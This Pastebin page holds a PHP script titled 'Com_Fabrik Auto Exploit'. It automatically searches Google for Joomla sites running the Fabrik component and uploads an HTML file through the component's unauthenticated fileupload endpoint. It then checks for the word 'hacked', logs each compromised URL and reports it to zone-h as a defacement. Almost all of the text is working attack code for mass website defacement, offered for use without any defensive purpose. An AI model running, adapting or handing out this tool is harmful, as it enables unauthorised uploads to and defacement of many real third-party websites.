Advertisement
zaksya

Bot Com Fabrik [ Test ]

Dec 14th, 2017
316
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.67 KB | None | 0 0
  1. <?php
  2. /*
  3.     Com_Fabrik Auto Exploit
  4.     Re Code By ZakirDotID
  5.     Thanks To : IndoXploit
  6. */
  7. class excom
  8. {
  9. public $url;
  10. public $file;
  11. public $hacker = "ZakirDotID"; 
  12. public $dorking=1; //Ubah jadi 1 jika ingin aktifkan mode auto dorking
  13. public $var;
  14. public $ch;
  15. public function valid($url){
  16. if(!preg_match("/^http:\/\//", $url) and !preg_match("/^https:\/\//", $url)){
  17.     return $this->url="http://".$url;
  18. }else{
  19.     return $url;
  20. }
  21. }
  22. public function jonh($url){
  23.     $this->var = $this->cUrl("http://www.zone-h.com/notify/single", "defacer=".$this->hacker."&domain1=$url&hackmode=1&reason=1&submit=Send",null,false);
  24.     if(preg_match("/color=\"red\">(.*?)<\/font><\/li>/i", $this->var->response, $matches)) {
  25.             if($matches[1] === "ERROR") {
  26.                 preg_match("/<font color=\"red\">ERROR:<br\/>(.*?)<br\/>/i", $this->var->response, $matches2);
  27.                 echo "[!] $url ==> Not Vuln Zone-H\n";
  28.             } else {
  29.                 echo "[+] $url ==> Success\n";
  30.             }
  31.         }
  32. }
  33. public function simpan($file){$this->var=fopen("hasil-exploit.txt", "a+");fwrite($this->var, $file."\r\n");fclose($this->var);}
  34. public function exploit(){
  35.     $this->file ="sad.htm";
  36.     $this->ur1  = $this->url."/index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload";
  37.     $this->var = @shell_exec("curl --silent --connect-timeout 5 -X POST -F \"file=@".$this->file."\" \"$this->ur1\"");
  38.     $this->result = (object) json_decode($this->var,true);
  39.     if(isset($this->result->error)){
  40.     echo "[!] ".parse_url($this->url,PHP_URL_HOST). " ==> Failed\n";   
  41.     } else {
  42.     if(isset($this->result->uri)){
  43.         if(preg_match("/hacked/i", $this->cUrl($this->uri)->response)){
  44.             echo "[+] $this->result->uri ==> eXploit\n";
  45.             $this->jonh($this->uri);
  46.             $this->simpan($this->uri);
  47.         }
  48.     }  
  49.     }
  50. }
  51. public function cUrl($url,$data=null,$headers=null,$cookie=true){
  52. $this->ch = curl_init();
  53.               curl_setopt($this->ch, CURLOPT_RETURNTRANSFER, TRUE);
  54.               curl_setopt($this->ch, CURLOPT_URL, $url);
  55.               curl_setopt($this->ch, CURLOPT_USERAGENT, "LinuxG3k/10.1");
  56.               curl_setopt($this->ch, CURLOPT_SSL_VERIFYHOST, FALSE);
  57.               curl_setopt($this->ch, CURLOPT_SSL_VERIFYPEER, FALSE);
  58.               curl_setopt($this->ch, CURLOPT_CONNECTTIMEOUT, 5);
  59.               curl_setopt($this->ch, CURLOPT_TIMEOUT, 5);
  60.         if($data !== null) {
  61.               curl_setopt($this->ch, CURLOPT_CUSTOMREQUEST, "POST");
  62.               curl_setopt($this->ch, CURLOPT_POST, TRUE);
  63.               curl_setopt($this->ch, CURLOPT_POSTFIELDS, $data);
  64.         }
  65.         if($headers !== null) {
  66.               curl_setopt($this->ch, CURLOPT_HTTPHEADER, $headers);
  67.         }
  68.         if($cookie === true) {
  69.               curl_setopt($this->ch, CURLOPT_COOKIE, TRUE);
  70.               curl_setopt($this->ch, CURLOPT_COOKIEFILE, "cookie.txt");
  71.               curl_setopt($this->ch, CURLOPT_COOKIEJAR, "cookie.txt");
  72.         }
  73.         $this->exec = curl_exec($this->ch);
  74.         $this->info = curl_getinfo($this->ch);
  75.               curl_close($this->ch);
  76.         return (object) [
  77.             "response"  => $this->exec,
  78.             "info"      => $this->info
  79.         ];
  80. }
  81.     public function _rd(){return fopen("php://stdin", "r");}
  82. }
  83. $z = new excom();
  84. echo "\n\tExploit Com Fabrik With Auto Dorking By ZakirDotID\n";
  85. if($z->dorking == 1){
  86. $links = array();
  87. $dork ="inurl:/index.php?option=com_fabrik";
  88. for($i=0;$i<=1000;$i+=10){
  89. @$xml = new DOMDocument('1.0', "UTF-8");
  90. @$xml->loadHTMLFile("http://www.google.com/search?q=".urlencode($dork)."&start=$i");
  91.     foreach($xml->getElementsByTagName('cite') as $link) {
  92.         $su =  "http://$link->nodeValue";
  93.         $ahh = parse_url($su, PHP_URL_HOST);
  94.         if(in_array($ahh, $links) or preg_match("/blogspot/",$ahh)) {
  95.              echo "$ahh element is in the array";
  96. } else{
  97.     $links[] = $ahh;
  98.     foreach ($links as $asu) {
  99.         $z->url = $z->valid($asu);
  100.         echo $z->exploit();
  101.        
  102.     }
  103. }
  104. }
  105. }
  106. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement